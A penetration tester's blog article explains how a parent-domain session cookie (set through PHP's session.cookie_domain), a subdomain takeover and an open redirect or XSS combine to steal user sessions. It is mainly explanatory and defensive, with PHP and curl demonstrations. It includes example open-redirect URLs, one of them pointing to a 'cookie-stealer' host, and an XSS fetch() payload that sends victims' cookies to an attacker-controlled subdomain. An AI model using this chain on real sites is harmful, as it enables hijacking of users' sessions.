Transform p3 p4 p5 vulnerabilities to p1 or how to steal user sessions by chaining low risk vulnerabilities

Note: This article is also available in french 🇫🇷.


This article presents an attack scenario that allows chaining together vulnerabilities, which individually have a limited impact, but when combined become very dangerous.

Below are the vulnerabilities used (in brackets the [Vulnerability Rating Taxonomy (VRT)] category (https://bugcrowd.com/vulnerability-rating-taxonomy) and the severity):

  • A domain cookie attribute misconfiguration (Server Security Misconfiguration ➡️ Cookie scoped to parent domain, P5)
  • A subdomain takeover (Server Security Misconfiguration ➡️ Misconfigured DNS ➡️ Basic Subdomain Takeover, P3)
  • An open-redirect (Unvalidated Redirects and Forwards ➡️ Open Redirect ➡️ GET-Based (P4), POST-Based (P5) or Header-Based (P5))
  • A stored XSS (Cross-Site Scripting (XSS) ➡️ Stored (P2 to P4 as per required privileges)) for zero click exploitation or a reflected XSS (Cross-Site Scripting (XSS) ➡️ Reflected ➡️ Non-Self, P3) if user interaction is acceptable.

Note: in this article, I will use the notation UA as a diminutive of User-Agent which refers to any HTTP client (web browser, bot, crawler, etc).

Misconfiguration

Cookies 🍪 have a Domain attribute defining the scope of them, i.e. on which URLs the cookies should be sent.

The Set-Cookie and HTTP cookies pages of the MDN summarize the behavior of this attribute for the Set-Cookie header as specified in RFC 6265.

Hold on to your hats, this is not as simple as it sounds.

From a high-level perspective, if the Domain attribute is omitted from the cookie in the Set-Cookie header, then the UA should only use this cookie for the host of the current document URL. So subdomains will not be included. For example, if the URL is http://example.org/blog, the cookie will be valid for example.org but not for www.example.org or payment.dev.example.org or any other subdomains or domains.

Set-Cookie: noraj=yet%20another%20secret

If the Domain attribute is present for the cookie in the Set-Cookie header, then all subdomains of the specified domain will be accepted. For example, if Domain=noraj.test then the cookie will be sent for noraj.test but also www.noraj.test, sub.noraj.test, payment.dev.noraj.test, but not for other domains.

Set-Cookie: noraj=yet%20another%20secret; Domain=noraj.test

But if we want to go into details, what is really going on on the UA side?

Indeed, if specifying the Domain attribute is optional in the Set-Cookie header, a cookie stored in the UA must have a Domain attribute to be valid and usable. The RFC warns that if the Domain attribute is not present for a cookie from the Cookie Store then the behavior will be undefined, but the UA is strongly advised to ignore it completely.

If the attribute-value is empty, the behavior is undefined. However, the user agent SHOULD ignore the cookie-av entirely.

One can guess that the UA will always store a cookie with a Domain attribute, whether the Set-cookie header has specified one or not. This is what we saw before, either it is specified directly or it is not and then it is extracted from the URL.

However, with the current knowledge, there seems to be a problem. If no domain is specified in the Set-Cookie header, the domain will be extracted from the URL and used in the cookie stored by the UA (e.g. example.org), and subdomains will not be allowed. On the other hand, if a domain (e.g. example.org) is specified in the Set-Cookie header, the domain used in the cookie stored by the UA will be the same (example.org) but, this time, subdomains will be allowed. How can the UA distinguish between two different behaviors if the information stored is the same?

The answer can be found by reading the RFC.

  • If the domain-attribute is non-empty:

    • If the canonicalized request-host does not domain-match the domain-attribute:
    • Ignore the cookie entirely and abort these steps.
    • Otherwise:
    • Set the cookie’s host-only-flag to false.
    • Set the cookie’s domain to the domain-attribute.
  • Otherwise:
    • Set the cookie’s host-only-flag to true.
    • Set the cookie’s domain to the canonicalized request-host.

The answer lies in the use of another cookie attribute: hostOnly, which will play exactly the role described above.

Let’s do a naive test in PHP.

First, let’s declare a session cookie and a custom cookie without specifying a Domain attribute.

<?php
  echo '<h1>noraj - OK</h1>';
  session_start(); // PHPSESSID
  setcookie('noraj', 'yet another secret');
?>

Note: no domain is specified, either directly as a function parameter, or via the php.ini configuration, or via an ini_set directive, or via a command line option, or in any other way.

You can check with curl that no Domain attribute is set in the Set-Cookie headers:

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 12:31:32 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=n7ktvgv47t55ndlfrc1v5uaoin; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
<h1>noraj - OK</h1>

In the Storage tab, in the Firefox developer console (version 101.0.1), we find the cookies.

These cookies do have the Domain attribute equal to the host of the requested URL, because no Domain attribute was present in the Set-Cookie header. By default, other attributes are displayed like Path, HttpOnly, Secure, SameSite, etc. The HostOnly attribute is one of the only ones not displayed by default. However, it is possible to add the column corresponding to this attribute.

We can see that with the HostOnly attribute set to true, cookies will not be sent to subdomains.

Note: Chromium (version 103.0.5060.53) does not allow viewing the HostOnly attribute. To access it, you would have to create an extension that uses the chrome.cookies API (this API is not available from the JavaScript console), which is not practical at all, hence the use of Firefox.

Another web server will serve the subdomains sub.noraj.test and www.noraj.test, contacting them with the same browser, the cookies will not be sent, so these sites will not have access to them.

If we modify the code slightly so that the server specifies a Domain attribute for the Set-Cookie header, we will be able to observe the other case.

<?php
  echo '<h1>noraj - OK</h1>';
  session_start(['cookie_domain' => 'noraj.test']); // PHPSESSID
  setcookie('noraj', 'yet another secret', ['domain' => 'noraj.test']);
?>

A check with curl allows us to see the attribute set in the server response.

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 13:00:16 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=q5kkcsmgpebi6g57p8kd6clh83; path=/; domain=noraj.test
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret; domain=noraj.test
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
<h1>noraj - OK</h1

Note: for experimentation in the web browser, be sure to make a request that bypasses the cache (CTRL + F5) as well as purge the stored cookies between each request.

Now, in Firefox, we see differences, this time the HostOnly attribute is set to false, cookies should be sent to subdomains.

We also note that the Domain attribute is now .noraj.test and no longer noraj.test.

When this prefixed point is present in the Set-Cookie header, it is a remnant of the past that does not matter, it dates from an old version of the RFC and some applications choose to provide it in violation of the RFC. There is a note about this in RFC 6265 for the Set-Cookie header.

Note that a leading %x2E ("."), if present,
is ignored even though that character is not permitted,

On the other hand, when this prefixed point is present, the AU has the role of removing it.

If the first character of the attribute-value string is %x2E ("."):

  • Let cookie-domain be the attribute-value without the leading %x2E (".") character.

Otherwise:

  • Let cookie-domain be the entire attribute-value.

So I’m personally surprised that Firefox and Chromium have this item positioned in the Cookie Store. This really seems to be due to the deprecated behavior of RFC 2965 which is obsolete.

Domain=value

OPTIONAL. The value of the Domain attribute specifies the domain
for which the cookie is valid. If an explicitly specified value
does not start with a dot, the user agent supplies a leading dot.

Let’s close this parenthesis on the leading dot which highlights the gap in the implementation of the RFC by these leading web browsers.

With these cookies having the attribute HostOnly = false, which can be qualified as Cross-domain, if one goes now to a subdomain like sub.noraj.test, the cookies have been transmitted to it.

Now, let’s return to the original case where we don’t provide a Domain attribute as an argument to the session_start() and setcookie() functions. However, this time we will specify a domain with the session.cookie_domain configuration option of the PHP configuration.

Note: This option will more typically be specified via the php.ini configuration file in production, but here for the purpose of the proof of concept (PoC), I specified it directly in the code using the ini_set() function.

<?php
  ini_set('session.cookie_domain', 'noraj.test' ); // or in php.ini
  echo '<h1>noraj - OK</h1>';
  session_start(); // PHPSESSID
  setcookie('noraj', 'yet another secret');
?>

It’s time to guess what the observed behavior will be before I spoil it to you.

With curl:

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 13:50:58 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=bpp2khdkaii84b3edoibit28dr; path=/; domain=noraj.test
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
<h1>noraj - OK</h1>

With Firefox, on the main domain:

With Firefox, on a subdomain:

session.cookie_domain has the effect of setting a default domain to specify in the session cookie. This only applies to the session cookie handled by PHP, PHPSESSID, so a domain will be set even if no argument to the session_start() function is specified.

The trap is there, and it has several pernicious effects.

Indeed, we have seen that using the Domain attribute is dangerous, because it allows the browser to send cookies to all subdomains. But where the various cookie handling functions allow the domain to be specified explicitly, voluntarily, on a case-by-case basis; the use of session.cookie_domain makes this behavior implicit, by default, and potentially unintended. The behavior of the Domain attribute is not well known to the public, the documentation on it remains rather superficial and approximate or even erroneous, and it is a false friend topic: it looks simple on the surface, but turns out to have a rather subtle complexity. The best way to understand it is to read RFC 6265. The understanding of the mechanism is made all the more difficult by the fact that the official PHP documentation is very succinct and easily mixes up what is related to HTTP and what is related to PHP. There are also StackOverflow posts where the accepted answer suggests using session.cookie_domain in order to increase security, the author of this answer thinks that by default if no value is specified the cookie would accept all domains and that specifying a domain would therefore reduce this. Of course this answer is wrong and is even the exact opposite of reality. So it is not easy for a volunteer developer to get the right information on the subject without reading the RFC.

Another insidious effect of using session.cookie_domain in php.ini is that it is hard to tell.
On an operating system like ArchLinux, there is only one version of PHP available in the official repositories (well, there are two: PHP 8.1 and PHP 7.4, but 7.4 is installed as php7 so there is no ambiguity) and only one configuration file (/etc/php/php. ini) but for a distribution like Ubuntu it is possible to have a large number of PHP versions installed in parallel (e.g. /etc/php/{5.6, 7.0, 7.1, 7.2, 7.3, 7.4, 8.0, 8.1}/) and then have a dedicated php.ini configuration file for each application or usage (e.g. /etc/php/8.1/{apache2,cli,fpm}). It can therefore sometimes be difficult to identify the correct configuration file used by the application. Especially since this configuration change in php.ini will not be visible during a code audit or by a linter during development as this file is not part of the project. However, it is possible to see this during a configuration audit, a penetration test or by observing the actual configuration with phpinfo().

In summary, using the session.cookie_domain configuration option in PHP or any other equivalent to define a domain for cookies and thus allow session cookies to be sent to all subdomains is dangerous. If an attacker gains control of a subdomain, he can then steal and spoof user sessions from the root domain application or other subdomains.

Subdomain takeover

We have already seen the danger of the domain attribute of cookies, but how to take control of a subdomain in order to steal them?

Let’s imagine a company having as main domain axays.fr and having the following services:

  • blog: blog.axays.fr
  • outil management solution: support.axays.fr
  • wiki: wiki.axays.fr
  • calendar : cal.axays.fr

But one day, the company decides to migrate its ticket management tool. They want to move from MegaSoft to GigaSoft, but to make the transition smoothly and to give themselves time to correct the bugs, the company will keep both tools in parallel during a transitional phase before removing MegaSoft. The company is therefore in the following situation:

  • MegaSoft : support.axays.fr
  • GigaSoft : aide.axays.fr

The migration goes smoothly, GigaSoft works perfectly, so the company decides to remove MegaSoft: it removes the corresponding cloud virtual machine. However, the company forgot to delete the DNS entry support.axays.com. So what? Is it serious? Well, yes!

Indeed, the DNS entry of the company’s subdomain is an alias pointing to a subdomain of the hosting company which points to the cloud resource:

support.axays.fr CNAME axays-support.monsuperhebergeur.fr.

However, a number of hosting or online service providers allow users to reserve any resource as long as it is available. By removing the virtual machine or hosting space, the company has freed up the namespace axays-support.myhosting.com and now everyone is free to reserve it.

An attacker can then reserve the axays-support hosting space with the same provider in order to obtain the axays-support.myhost.com namespace and host his malicious application there. Since the DNS entry support.axays.co.uk is always configured to point to it, victims visiting http://support.axays.fr will send their session cookies to an application run by a malicious actor, since support.axays.co.uk is indeed a subdomain of axays.co.uk and the cookie was configured with Domain=axays.co.uk (so HostOnly=false).

In short, if a company’s subdomain is no longer used, but continues to point to a third-party cloud resource, there is a risk of a subdomain takeover.

There is also the Can I take over XYZ? project which lists the cloud services whose subdomains can be taken over.

A list of services and how to claim (sub)domains with dangling DNS records.

Not all are vulnerable and some are conditionally vulnerable. In the batch, we note in particular the presence of widely used services: WordPress, AWS S3 Bucket, Microsoft Azure.

Forcing the user to fall into the trap

Combining the first two vulnerabilities, it’s clear how an attacker can steal users’ sessions, but he’s certainly not going to wait for users to stumble upon the malicious URL by accident.

How to force a user to go to http://sous-domaine-compromis.client.com?

For that, several choices are possible:

  • An arbitrary URL redirection (Open Redirect)
  • A Stored XSS or a Reflected XSS.

In short, an arbitrary URL redirect is a page of the web application that will redirect the user to another page passed in parameter. Using my fictitious business example, this would result in a vulnerable blog page that has an url parameter that redirects the user to the compromised subdomain support.axays.com.

http://blog.axays.fr/page-vulnerable?url=http://support.axays.fr

Sometimes these kinds of parameters include a protection mechanism where you can only pass a path relative to the site itself as a parameter, for example :

http://app.axays.fr/login?redirectUrl=/home

In this case, it will be difficult to exploit the redirection. However, there are also applications that accept full URLs and check whether the domain of the URL belongs to the company or not. If this check is not done properly, i.e. using a standard URL parser and comparing the extracted host field to a whitelist of authorized domains, then security bypass will be possible. Indeed, I already had the occasion during penetration test to notice that the application is satisfied to get the string url or to use a parser of URL and to extract the host field, but to badly carried out the comparison by looking only if the string or the host field extracted finishes by axays.fr instead of checking that that corresponds exactly. It is easy to understand why. A company that has 500 subdomains, some of which are deleted or created every day, doesn’t want to keep a list of subdomains up to date at first. It will therefore tend to authorize .*axays.fr in order to accept all subdomains. Normally this trade-off is acceptable, as an attacker will not be able to send URLs to a third party web site, e.g. :

http://blog.axays.fr/page-vulnerable?url=http://cookie-stealer.evil.corp

But as here the attacker controls the subdomain support.axays.co.uk, he can easily bypass this protection mechanism.

Finally, the cyber-criminal may start using social engineering techniques to spread the malicious URL http://blog.axays.fr/page-vulnerable?url=http://support.axays.fr: phishing campaign, posting the URL on chats or forums, etc.

The more perceptive among you will say to yourselves:

"What’s the point of using a URL redirect and not providing the URL to the compromised subdomain directly since it looks legitimate?"

This is a good point. This is useful in case the application vulnerable to URL redirection is an application that users use every day and therefore trust, whereas the compromised subdomain, they may have never seen, it won’t speak to them and it will look suspicious. Imagine you receive a URL like: http://test-app.environment-23.staging.pipe-2.dev.axays.fr? It’s going to look weird right away and maybe you won’t even see the domain because the subdomain is so long.

A URL redirection can be rare and not affect all applications, the application must already have a parameter that manipulates a URL or a path that can be hijacked. Whereas an XSS will be a bit more generic and has a better chance of affecting a wide range of applications.

If the attacker finds a thoughtful XSS, he can use a similar payload:

<script>
  fetch('https://support.axays.fr', {
  method: 'POST',
  mode: 'no-cors',
  body: 'noraj'
  });
</script>

Three comments on this:

  1. Here the client browser will make a request to the compromised subdomain in the background, it will not be redirected, so it will be more discreet. This gives an advantage to the XSS method rather than URL redirection.
  2. We can take advantage of this to make a POST request and pass a whole bunch of information about the user (IP, username, browser fingerprint, etc.) in order to better identify the victim, which we will need to target the interesting sessions. This information cannot be retrieved with URL redirection, because there is no code execution and using the GET method limits the size of the URL.
  3. "But if we have an XSS why don’t we steal the cookies with document.cookie directly?", usually the application will have set the httpOnly attribute on the session cookie which prevents JavaScript from retrieving the cookies.

URL redirection and reflected XSS share a common handicap, the need for user interaction: for the user to click on a malicious URL. The best way for the attacker would be to dispense with this, by using a stored XSS that will use the same mechanism as reflected XSS, but the request to the compromised subdomain will be performed automatically when the user accesses the XSS vulnerable page.

Attack scenario

If I summarize the complete path of the attack using 3 vulnerabilities among those studied above it gives the following steps:

  • Use of the Domain attribute on the session cookie set implicitly and by default because of the use of the session.cookie_domain option in the PHP configuration;
  • Taking control of a fallow subdomain whose DNS entry always points to an unused cloud resource;
  • Forcing the user to visit the compromised subdomain:
    • Option #1: URL redirection or reflected XSS combined with a social engineering technique
    • Option #2: Stored XSS

And if I summarize the summary, it reads:

Domain cookie flag + subdomain takeover + ((open-redirect / reflected XSS + social engineering) or (stored XSS))

What if I replace some of the words with emoji 🤯 in order to arrive at a cyber-rebus :

Domain 🍪 🚩 ➕ subdomain 🥷 ➕ ((👐-⏩ / 🪞 🇽 🇸 🇸 ➕ 🥳 ⚙️) or (📦 🇽 🇸 🇸))

Blind spot and morality

Some companies that receive penetration testing may tend to fix vulnerabilities that are High or Critical in severity quickly or in a reasonable amount of time, but take a very long time (e.g., more than a year) to fix vulnerabilities that are Medium or Low in severity, or never fix them at all, because a decision-maker may judge, certainly incorrectly, that the risk is acceptable.

It is true that individually taken, one might be tempted to think the following assertions about these vulnerabilities:

  • "It’s just a configuration error"
  • "The subdomains belong to us, an attacker won’t be able to do anything"
  • "An attacker would already have to control one of our subdomains, but we have WAFs on every application"
  • "Cookies are protected against XSS anyway"
  • "The attacker won’t be able to do anything with a URL redirection, we have set up a filtering on our domains"
  • "The SOC will detect connections to third party domains"
  • etc.

There is no need to go through these excuses one by one, if you have read this article diligently, you are usually already convinced that each of them can be circumvented.

As we have seen throughout this article, when combined, all of these "low risk" vulnerabilities constitute a serious risk with a real and significant impact.

In general, many so-called weak vulnerabilities do not have a direct impact on the target individually, but can become formidable when cleverly chained together. This is why, despite the fact that there is no urgency to correct them, they should still be taken seriously and eventually fixed.

We have just seen that because the impact of these vulnerabilities seems unclear, unlikely or anecdotal, some people may choose to neglect fixing them after a penetration test. But this can be worse in the context of a bug bounty program.

Indeed, many bug bounty platforms exclude the weakest vulnerabilities in order to prevent their customers from being overwhelmed by waves of reports without impact with unexploitable vulnerabilities. There is often overzealousness about the completeness of the types of vulnerabilities to be added to the out of scope list. Here’s what we can see in typical exclusion lists:

  • Reflected XSS: excluded if no impact demonstrated. By the way, reflected XSS are excluded from eligible exploit scripts on Exploit-DB if they do not have an assigned CVE number.
  • Arbitrary URL redirection: it is not uncommon to see this type of bug excluded unconditionally.
  • Configuration error: excluded if no impact is demonstrated and a proof of concept is not provided.
  • Subdomain takeover: excluded if no impact is demonstrated and a proof of concept is not provided.
  • Misconfigured cookie attributes: almost always excluded. This is especially true of the HttpOnly and Secure attributes, since they only matter for session cookies and not for cookies containing functional information such as preferred language. Many newbies don’t fully understand the function or impact and tend to report their absence incorrectly, causing clients and platforms to exclude them from eligible bug types. The Domain and HostOnly attributes are thus excluded as collateral damage.
  • Violations of good (security) practices: almost always excluded. Same reason as above.

The ever-growing exclusion lists within bug bounty programs discourage bug hunters from reporting such security issues, even though in some cases they can have a significant impact. Experienced researchers are then forced to combine many of these vulnerabilities in order to be able to prove the criticality of a scenario using these out-of-scope vulnerabilities.

It is one thing to play with fire by accepting a risk rather than correcting a vulnerability, but it is another to be unaware that the vulnerability exists because it has not been addressed due to marginalization.

The moral? When in doubt, it is better to fix.

About the author

Article written by Alexandre ZANNI aka noraj, Penetration Testing Engineer at ACCEIS.